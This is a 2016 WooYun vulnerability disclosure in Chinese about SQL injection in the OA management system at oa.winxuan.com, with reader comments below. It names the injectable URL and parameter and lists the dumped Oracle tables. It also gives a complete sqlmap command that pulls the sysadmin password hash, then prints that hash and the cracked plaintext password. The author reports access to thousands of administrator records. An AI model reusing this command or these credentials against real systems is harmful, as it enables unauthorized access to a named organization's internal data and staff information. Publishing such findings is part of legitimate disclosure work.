当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0200324

漏洞标题:文轩网某管理系统SQL注入(垃圾袋引发的血案/大量数据/多处管理员帐号/内部信息/上千名管理员/内部资料/敏感信息)

相关厂商:winxuan.com

漏洞作者: DeadSea

提交时间:2016-05-03 13:31

修复时间:2016-05-09 09:00

公开时间:2016-05-09 09:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

今天下楼的时候顺便丢垃圾,丢垃圾的时候发现一个包装袋,上面写着文轩网。然后回来就测试了一下,没想到引发了一场场血案啊

详细说明:

今天下楼的时候顺便丢垃圾,丢垃圾的时候发现一个包装袋,上面写着文轩网。然后回来就测试了一下,没想到引发了一场场血案啊

oa.winxuan.com


http://oa.winxuan.com/ServiceAction/com.velcro.base.GetDataAction?action=checkname&formid=1


formid存在注入

1.png


350个库啊,因为sqlmap不能直接显示出来,还是找日记一个一个手动排列的,就冲我这精神给20分吧。

JSP
back-end DBMS: Oracle
Database: OAUSER
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
|SCORE | 17936023 |
| PERMISSIONLINKDOCBASE | 6342260 |
| LOG | 5749886 |
| PERMISSIONDETAILDOCBASE | 5503371 |
| SCORETMP | 1244885 |
| PERMISSIONDETAILWORKFLOWBASE | 304448 |
| PERMISSIONLINKWORKFLOWBASE | 293734 |
| PERMISSIONRULEDOCBASE | 262420 |
| PERMISSIONRULEWORKFLOWBASE | 262310 |
| WORKFLOWSTEPFINISHED | 183342 |
| WORKFLOWINFOFINISHED | 180505 |
| WORKFLOWOPERATORSFINISHED | 140586 |
| WORKFLOWLOGFINISHED | 125355 |
| ATTACH | 66960 |
| DOCATTACH | 54522 |
| WORKFLOWSTEP | 39600 |
| WORKFLOWINFO | 39180 |
| CATEGORYLINK | 38055 |
| DOCBASE | 35292 |
| PASSWORDHISTORY | 29312 |
| WORKFLOWLOG | 28212 |
| UFG7S2O41194588032176T | 27140 |
| EVENT | 19384 |
| WORKFLOWBASE | 15421 |
| PERMISSIONLINKPORTALCHANNALS | 15264 |
| PERMISSIONDETAILPORTALCHANNALS | 15249 |
| UFF7K8K61221633602612T | 13844 |
| UFJ3W3S41221633547510T | 13831 |
| UFL0X4U31236061379146T | 12725 |
| UFG3W9A31191920098875T | 12613 |
| LABEL | 11655 |
| UFG0Y5L41221633619659T | 11579 |
| UFA1Z8W21221633655798T | 9747 |
| UFH3E4W91191919765921T | 8970 |
| RTXU | 8194 |
| UFC4K0G21221633874179T | 8038 |
| FORMLAYOUTFIELD | 7956 |
| SYSUSER | 7922 |
| LABEL_NEW | 7859 |
| HUMRES | 7855 |
| SYSUSER_BAK | 7844 |
| HUMRES_BAK | 7777 |
| WORKFLOWOPERATORS | 7491 |
| UFW1C6R51221634541611T | 6319 |
| RTXUN | 6146 |
| UFG7S2O41194588032176 | 5869 |
| UFF2G8A01191907781421T | 5721 |
| HUMRES_BACK | 5572 |
| HUMRESTEMP | 5163 |
| STATIONINFO | 4112 |
| Z1 | 3892 |
| DOCINDIV | 3743 |
| STATIONLINK | 3491 |
| FORMFIELD | 3029 |
| UFG3W9A31191920098875 | 2857 |
| UFD1I6Q41194245212565 | 2695 |
| CATEGORY | 2435 |
| SELECTITEM | 2397 |
| UFG9O1U31427268735994T | 2397 |
| UFW1J9T61269934662222T | 2344 |
| IF_HUMRES | 2226 |
| UFH3E4W91191919765921 | 2166 |
| UFF2G8A01191907781421 | 2114 |
| UFA1Z8W21221633655798 | 1899 |
| UFF7K8K61221633602612 | 1899 |
| UFC4K0G21221633874179 | 1896 |
| UFW1C6R51221634541611 | 1896 |
| UFG0Y5L41221633619659 | 1894 |
| UFJ3W3S41221633547510 | 1894 |
| UFL0X4U31236061379146 | 1740 |
| UFZ1I5F91427270259217T | 1688 |
| IF_STATIONINFO | 1462 |
| ORGUNIT | 1332 |
| UFW4F2G21430722144985T | 1322 |
| KHZSJ | 1262 |
| UFJ4I3S41200992843804T | 1080 |
| UFA5Y7Z81200990289777T | 1078 |
| UFL2N6H71200991289728T | 1078 |
| UFY2Z9J91200993227970T | 1078 |
| UFO5T9B31200993254436T | 1077 |
| ORGUNITLINK | 1058 |
| UFN4Q0D91201065966034T | 1054 |
| BOOKSHEET | 1050 |
| SAPQQ | 1032 |
| RTXP | 1000 |
| UFI2T4P31385011501902T | 976 |
| ZZ | 963 |
| UFH4O4P21434439724854 | 955 |
| UFY3X5U21214977469835T | 903 |
| BB | 789 |
| UFE3V0Z41436239651329T | 752 |
| UNLOCKUSER | 698 |
| EXPORT | 677 |
| UFW1J9T61269934662222 | 640 |
| DR | 609 |
| NODEINFO | 592 |
| UFW4F2G21430722144985 | 539 |
| PIPENODESTYLE | 536 |
| UFT6Y0E21239169073156T | 525 |
| REMINDLOG | 498 |
| RYDRXX_BAK | 459 |
| UFR8V0S31201592887615T | 440 |
| REPORTFIELD | 437 |
| UFU4Q6L41193280564254T | 433 |
| DOCTYPE | 394 |
| REFOBJLINK | 364 |
| FORMLAYOUT | 361 |
| DIVPOSITION | 360 |
| MAILACCOUNT | 348 |
| REMINDRECEIVEOBJ | 337 |
| UFI2T4P31385011501902 | 336 |
| PERMISSIONLINKREPORTDEF | 334 |
| PORTALMODULES | 325 |
| UFG9O1U31427268735994 | 319 |
| UFZ1I5F91427270259217 | 319 |
| PERMISSIONDETAILREPORTDEF | 316 |
| PORTALCHANPARAMODULES | 286 |
| UFA2Q4C21193281172154T | 275 |
| MENU | 274 |
| MENUORG | 266 |
| PORTALMODULECONFIG | 256 |
| SELECTITEMTYPE | 253 |
| REMARK | 252 |
| UFF8U9E81395122755353T | 247 |
| UFE3V0Z41436239651329 | 243 |
| WBSTASKHISTORY | 235 |
| REPORTSEARCHFIELD | 226 |
| PERMISSIONRULEREPORTDEF | 211 |
| MYPERMITBAG | 210 |
| UFJ4I3S41200992843804 | 192 |
| UFA5Y7Z81200990289777 | 191 |
| UFL2N6H71200991289728 | 191 |
| UFO5T9B31200993254436 | 191 |
| UFY2Z9J91200993227970 | 191 |
| WBSDOCFLOW | 191 |
| UFN4Q0D91201065966034 | 188 |
| PERMISSIONRULEPORTALCHANNALS | 173 |
| UFK5R2Q01193282788864T | 167 |
| UFR8V0S31201592887615 | 167 |
| DELOBJ | 165 |
| IF_ORGUNIT | 163 |
| WBSTASK | 149 |
| FORMINFO | 147 |
| PORTALCHANPARAS | 144 |
| RYDRXX_BAK_1222 | 138 |
| UFY7Y3C31209373252583T | 131 |
| SYSRESOURCE | 126 |
| PAGEMENU | 117 |
| KMTOPIC | 115 |
| PORTAL | 107 |
| SYSUSERROLELINK | 106 |
| UFP6J3X91262843817858T | 104 |
| PIPEINFO | 102 |
| REMINDMESSAGEDETAIL | 97 |
| REMINDSENDOBJ | 97 |
| UFY3X5U21214977469835 | 97 |
| KMMAPTOPICLINK | 94 |
| SYSPERMRESLINK | 93 |
| PERMITBAG | 92 |
| UFY3T6F71193289145697T | 90 |
| SETITEM | 89 |
| HUMRESCUSTOMIZE | 85 |
| FORMLINK | 84 |
| SUBJECT | 84 |
| TEMP3 | 84 |
| UFS6J0V21186643740812T | 80 |
| UFY7Y3C31209373252583 | 79 |
| SEARCHCUSTOMIZEOPTION | 78 |
| TEMP1 | 75 |
| TEMP2 | 75 |
| CONTEMPFIELD | 74 |
| UFC4H0T11193280596918T | 70 |
| HHH | 67 |
| PERMISSIONRULEPIPEINFO | 65 |
| REFOBJ | 60 |
| WBSTASKTEMPLATE | 60 |
| UFA2Q4C21193281172154 | 58 |
| UFM8L3N01210227759384T | 58 |
| UFK5R2Q01193282788864 | 57 |
| UFC4H0T11193280596918 | 56 |
| UFU4Q6L41193280564254 | 56 |
| UFY3T6F71193289145697 | 56 |
| ADDRESSINFO | 51 |
| GYSZSJ | 51 |
| PERMISSIONLINKPROJECT | 50 |
| PERMISSIONDETAILPROJECT | 49 |
| UFQ9H8S71395725696697T | 49 |
| UFB5N0R31434341886193 | 47 |
| UFG5H0M21319164636037T | 47 |
| UFK4H5T01278382941766T | 47 |
| PIPEACCREDIT | 46 |
| ORGUNITTYPE | 44 |
| UFT6Y0E21239169073156 | 44 |
| RYDRXX | 43 |
| UFM2Y4U41210226662879T | 42 |
| REPORTDEF | 41 |
| SYSROLEPERMLINK | 41 |
| UFE3W8V51196906858771 | 41 |
| UFE3W8V51196906858771T | 41 |
| SELFCUSTOM | 37 |
| UFB9T5N81395985987280T | 36 |
| UFO3X9Z31395725358932T | 36 |
| AA | 35 |
| PORTALTOPIC | 35 |
| PORTALCHANNALS | 33 |
| UFE4O5K91191920595703T | 33 |
| UFX6P3U41214807405359T | 33 |
| UFP6J3X91262843817858 | 31 |
| UFS6J0V21186643740812 | 31 |
| UFF8U9E81395122755353 | 30 |
| UFE3Q6S51228892267536T | 28 |
| UFK4H5T01278382941766 | 27 |
| GYSZSJ_BAK | 25 |
| PERMISSIONRULEPROJECT | 24 |
| UFE3Q6S51228892267536 | 24 |
| UFT8H8N31319164144745T | 23 |
| UFE4O5K91191920595703 | 22 |
| UFR9F9Z51276157442595 | 22 |
| UFR9F9Z51276157442595T | 22 |
| AUTHORIZEOPERATION | 20 |
| UFQ9H8S71395725696697 | 20 |
| KMMAP | 19 |
| UFM8L3N01210227759384 | 19 |
| SYSPERMS | 18 |
| SYSROLE | 18 |
| UFG5H0M21319164636037 | 18 |
| WORKFLOWAUTHORIZELOG | 18 |
| UFU4M7L61205906651800T | 16 |
| UFC2N9R01208923738836T | 13 |
| FAVLIST | 12 |
| SETITEMTYPE | 12 |
| UFM2Y4U41210226662879 | 12 |
| UFQ0S2A91259133802297T | 12 |
| UFX6P3U41214807405359 | 12 |
| USERMENU | 12 |
| UFB4P7W91208923277799T | 11 |
| STATIONLEVELLINK | 10 |
| REMINDRULE | 9 |
| UFJ8Z6G41426816778795T | 9 |
| UFO3X9Z31395725358932 | 9 |
| UFT8H8N31319164144745 | 9 |
| VERSIONINFO | 9 |
| KHZSJ_BAK | 8 |
| PIPEDOCTYPE | 8 |
| UFB9T5N81395985987280 | 8 |
| UFC4B3Q21185525667890T | 8 |
| UFQ0S2A91259133802297 | 8 |
| ADDRESSSHEETMAP | 7 |
| SEARCHCUSTOMIZE | 7 |
| UFH2S6L11237441705568T | 7 |
| PORTALTOPICLINK | 6 |
| PROJECT | 6 |
| UDTYPE | 6 |
| UFL7E7V61259822162376T | 6 |
| UFP3K1Q01267680510921T | 6 |
| UFU4M7L61205906651800 | 6 |
| WBSVERSION | 6 |
| ATTACHMENT | 5 |
| CONTEMPLATE | 5 |
| CONTRACTTYPE | 5 |
| KEYINFO | 5 |
| UFC3H4A91228892239311T | 5 |
| UFC4B3Q21185525667890 | 5 |
| UFC4C3V21193888200526 | 5 |
| UFC4C3V21193888200526T | 5 |
| UFG1K2C01237771698639T | 5 |
| UFJ8Z6G41426816778795 | 5 |
| UFP3K1Q01267680510921 | 5 |
| PERMISSIONRULECUSTOMER | 4 |
| PERMISSIONRULEPRODUCT | 4 |
| PROJECTTYPE | 4 |
| UFC2N9R01208923738836 | 4 |
| UFL7E7V61259822162376 | 4 |
| UFT1Q4K71237184297382T | 4 |
| UFW4W9S01237184235289T | 4 |
| WORKFLOWAGENTINFO | 4 |
| AUTHTICKETINFO | 3 |
| UFB4P7W91208923277799 | 3 |
| UFG9Z3X81392010172464T | 3 |
| UFI3J3D61186471722328T | 3 |
| UFJ6Y6W11319179657036 | 3 |
| UFZ3K0Z41237875272949T | 3 |
| WBSINFO | 3 |
| WORKFLOWAUTHORIZE | 3 |
| PERMISSIONDETAILCONTRACT | 2 |
| PERMISSIONLINKCONTRACT | 2 |
| PERMISSIONLINKCUSTOMER | 2 |
| PERMISSIONLINKPRODUCT | 2 |
| PERMISSIONRULECONTRACT | 2 |
| REFOBJMODEL | 2 |
| UFD1Y7I61319173459654 | 2 |
| UFI3J3D61186471722328 | 2 |
| AAA | 1 |
| ASSETSTYPE | 1 |
| CUSTOMERTYPE | 1 |
| ID_RECODE_DONTDELETE | 1 |
| MAP | 1 |
| PERMISSIONDETAILASSETS | 1 |
| PERMISSIONDETAILCUSTOMER | 1 |
| PERMISSIONDETAILPRODUCT | 1 |
| PERMISSIONDETAILPROVIDER | 1 |
| PERMISSIONLINKASSETS | 1 |
| PERMISSIONLINKPROVIDER | 1 |
| PERMISSIONRULEASSETS | 1 |
| PERMISSIONRULEMODEL | 1 |
| PERMISSIONRULEPROVIDER | 1 |
| PRODUCTTYPE | 1 |
| PROVIDERTYPE | 1 |
| SHOPTYPE | 1 |
| UFC3H4A91228892239311 | 1 |
| UFD1Y7I61319173459654T | 1 |
| UFE6F0Y01186643861921 | 1 |
| UFE6F0Y01186643861921T | 1 |
| UFG1K2C01237771698639 | 1 |
| UFH2S6L11237441705568 | 1 |
| UFJ6Y6W11319179657036T | 1 |
| UFS6Z2C81395646749424 | 1 |
| UFS6Z2C81395646749424T | 1 |
| UFT1Q4K71237184297382 | 1 |
| UFV3W4W41395647003213 | 1 |
| UFV3W4W41395647003213T | 1 |
| UFW4W9S01237184235289 | 1 |
| UFZ3K0Z41237875272949 | 1 |
+--------------------------------+---------+


因为表太多,不知道管理员账户是那个。可以利用语句直接在sqlmap中查询。
默认管理员是sysadmin

C:\Python27\sqlmap>sqlmap.py -u "http://oa.winxuan.com/ServiceAction/com.velcro.
base.GetDataAction?action=checkname&formid=1" -p formid --tamper=space2comment -
-batch -D zuzhibu -T sysuser --sql-query "select logonpass from sysuser where lo
ngonname='sysadmin'"


e3570e9e977fabb2ac818edc9a6a2e38


解密后为asdlkj321

1.png


1.png


5000名后台管理信息

1.png


1.png


1.png


小学管理系统,可以看视频等。。
大量敏感信息

1.png


点到即止,么么哒

漏洞证明:

点到即止,么么哒

1.png

修复方案:

版权声明:转载请注明来源 DeadSea@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-09 09:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-03 13:43 | Hero ( 普通白帽子 | Rank:153 漏洞数:44 | 药药切克闹,充气娃娃迷幻药)

    大牛们原来有捡垃圾袋的习惯,不说了,我捡瓶子去了

  2. 2016-05-03 13:46 | 班尼路 ( 普通白帽子 | Rank:295 漏洞数:77 | 信息安全爱好者)

    不说了,我捡肥皂去了

  3. 2016-05-03 13:51 | dige ( 路人 | Rank:5 漏洞数:3 | 路虽远,行则必达,事虽难做则必成)

    不说了,我捡肥皂去了

  4. 2016-05-03 14:15 | Fencing ( 实习白帽子 | Rank:70 漏洞数:11 | 以后慢慢写)

    牛逼

  5. 2016-05-03 14:55 | 路人毛 ( 普通白帽子 | Rank:109 漏洞数:44 | 要想Rank给高,标题一定得屌)

    我明天蹲乌云大门口的垃圾桶旁边

  6. 2016-05-03 17:23 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    楼上谁扔的垃圾袋???有没有人?再不出来,我把垃圾袋上的厂商给撸了。。。

  7. 2016-05-03 19:44 | DeadSea ( 普通白帽子 | Rank:214 漏洞数:58 | 本人外形俊朗、眉清目秀、玉树临风、有明星...)

    不是。。。我是丢垃圾的时候看到文轩网。